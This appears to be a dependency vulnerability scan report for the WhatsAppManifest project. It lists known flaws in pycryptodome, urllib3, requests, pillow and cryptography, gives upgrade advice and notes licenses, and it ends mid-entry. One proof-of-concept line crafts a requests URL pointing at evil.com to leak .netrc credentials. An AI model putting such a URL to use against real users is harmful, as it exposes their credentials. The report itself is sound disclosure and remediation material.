  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pycryptodome@3.9.7
    Remediation: Upgrade to pycryptodome@3.19.1.

Overview

Affected versions of this package are vulnerable to Observable Timing Discrepancy due to improper handling of OAEP decryption. An attacker can extract sensitive information by exploiting the side-channel leakage to perform a Manger attack (Marvin).

Remediation

Upgrade pycryptodome to version 3.19.1 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a urllib3@1.26.5
    Remediation: Upgrade to urllib3@1.26.17.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a uiautomator@0.3.6 urllib3@1.26.5
    Remediation: Upgrade to uiautomator@0.3.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie HTTP header isn't stripped on cross-origin redirects.

Note:

This is only exploitable if the user is using the Cookie header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.

##Workaround:

This vulnerability can be mitigated by disabling HTTP redirects using redirects=False when sending requests and by not using the Cookie header.

Remediation

Upgrade urllib3 to version 1.26.17, 2.0.6 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.23.0, adbutils@0.7.1 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.3.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Buffer Overflow. It allowed parameters passed into a convert function to trigger buffer overflow in Convert.c.

Remediation

Upgrade Pillow to version 8.3.0 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.23.0, adbutils@0.7.1 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference when processing a maliciously formatted PKCS12 file. The vulnerability exists due to improper handling of optional ContentInfo fields, which can be set to null. An attacker can cause a denial of service by sending crafted input that leads to applications loading files in PKCS12 format from untrusted sources to terminate abruptly.

Remediation

Upgrade cryptography to version 42.0.2 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the DH_check(), DH_check_ex() and EVP_PKEY_param_check() functions, which are used to check a DH key or DH parameters.

When the key or parameters that are being checked contain an excessively large modulus value (the p parameter) this may cause slowness in processing. Some checks use the supplied modulus value even if it has already been found to be too large.

The OpenSSL dhparam and pkeyparam command line applications are also vulnerable, when using the -check option.

NOTE: The OpenSSL SSL/TLS implementation is not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_generate_key(), DH_check_pub_key(), DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate() functions are used. An attacker can cause long delays and potentially a Denial of Service by supplying excessively long X9.42 DH keys or parameters obtained from an untrusted source.

Note:

This is only exploitable if the application uses these functions to generate or check an X9.42 DH key or parameters. Also, the OpenSSL pkey command line application, when using the -pubcheck option, as well as the OpenSSL genpkey command line application, are vulnerable to this issue.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

medium severity

Missing Cryptographic Step

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.5.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Missing Cryptographic Step when the EVP_EncryptInit_ex2(), EVP_DecryptInit_ex2() or EVP_CipherInit_ex2() functions are used. An attacker can cause truncation or overreading of key and initialization vector (IV) lengths by altering the "keylen" or "ivlen" parameters within the OSSL_PARAM array after the key and IV have been established. This can lead to potential truncation or overruns during the initialization of some symmetric ciphers, such as RC2, RC4, RC5, CCM, GCM, and OCB. A truncation in the IV can result in non-uniqueness, which could result in loss of confidentiality for some cipher modes.

Both truncations and overruns of the key and the IV will produce incorrect results and could, in some cases, trigger a memory exception.

Remediation

Upgrade cryptography to version 41.0.5 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Timing Attack in rsa/rsa_ossl.c. An attacker can recover ciphertext with a Bleichenbacher style attack by sending a large number of trial messages (Marvin). This affects all RSA padding modes: PKCS#1 v1.5, RSA-OEAP, and RSASVE.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Improper Initialization

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Improper Initialization of ImagePath.Path in path_getbbox at path.c.

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@7.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Buffer Overflow. Two Buffer Overflows exist in libImaging/TiffDecode.c.

Remediation

Upgrade Pillow to version 7.1.0 or higher.

References

medium severity

Expected Behavior Violation

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Expected Behavior Violation in Cipher.update_into, which allows immutable objects (such as bytes) to be mutated, violating fundamental rules of Python. This allows programmers to misuse an API, and cannot be exploited by attacker-controlled data alone.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a urllib3@1.26.5
    Remediation: Upgrade to urllib3@1.26.18.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a uiautomator@0.3.6 urllib3@1.26.5
    Remediation: Upgrade to uiautomator@0.3.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST to GET. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.

Note:

This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.

Workaround

This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.

Remediation

Upgrade urllib3 to version 1.26.18, 2.0.7 or higher.

References

medium severity

Out-of-Bounds

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@7.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-Bounds. Multiple out-of-bounds reads exist in libImaging/FliDecode.c.

Remediation

Upgrade Pillow to version 7.1.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@7.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. In libImaging/SgiRleDecode.c a number of out-of-bounds reads exist in the parsing of SGI image files.

Remediation

Upgrade Pillow to version 7.1.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@7.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. In libImaging/Jpeg2KDecode.c there are multiple out-of-bounds reads via a crafted JP2 file.

Remediation

Upgrade Pillow to version 7.1.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@7.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. In libImaging/PcxDecode.c, an out-of-bounds read can occur when reading PCX files where state->shuffle is instructed to read beyond state->buffer.

Remediation

Upgrade Pillow to version 7.1.0 or higher.

References

medium severity
new

MPL-2.0 license

  • Module: certifi
  • Introduced through: certifi@2019.11.28, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a certifi@2019.11.28
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 certifi@2019.11.28
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 certifi@2019.11.28
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 certifi@2019.11.28

MPL-2.0 license

medium severity

LGPL-2.1 license

  • Module: chardet
  • Introduced through: chardet@3.0.4, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a chardet@3.0.4
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 chardet@3.0.4
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 chardet@3.0.4
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 chardet@3.0.4

LGPL-2.1 license

medium severity

LGPL-3.0 license

  • Module: paramiko
  • Introduced through: paramiko@2.10.1 and sshtunnel@0.1.5

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1

LGPL-3.0 license

low severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_check(), DH_check_ex(), or EVP_PKEY_param_check() functions are used to check a DH key or DH parameters. An attacker can cause long delays and potentially a Denial of Service (DoS) by providing excessively long DH keys or parameters from an untrusted source. This is only exploitable if the application calls these functions and supplies a key or parameters obtained from an untrusted source.

Note: The OpenSSL SSL/TLS implementation and the OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

low severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the AES-SIV cipher implementation in ciphers/cipher_aes_siv.c, which ignores empty associated data entries, making them unauthenticated.

Applications that use the AES-SIV algorithm and want to authenticate empty data entries as associated data can be misled by removing, adding or reordering such empty entries as these are ignored by the OpenSSL implementation.

NOTE: This issue does not affect non-empty associated data authentication and the maintainers are currently unaware of any applications that use empty associated data entries.

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

low severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.8.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

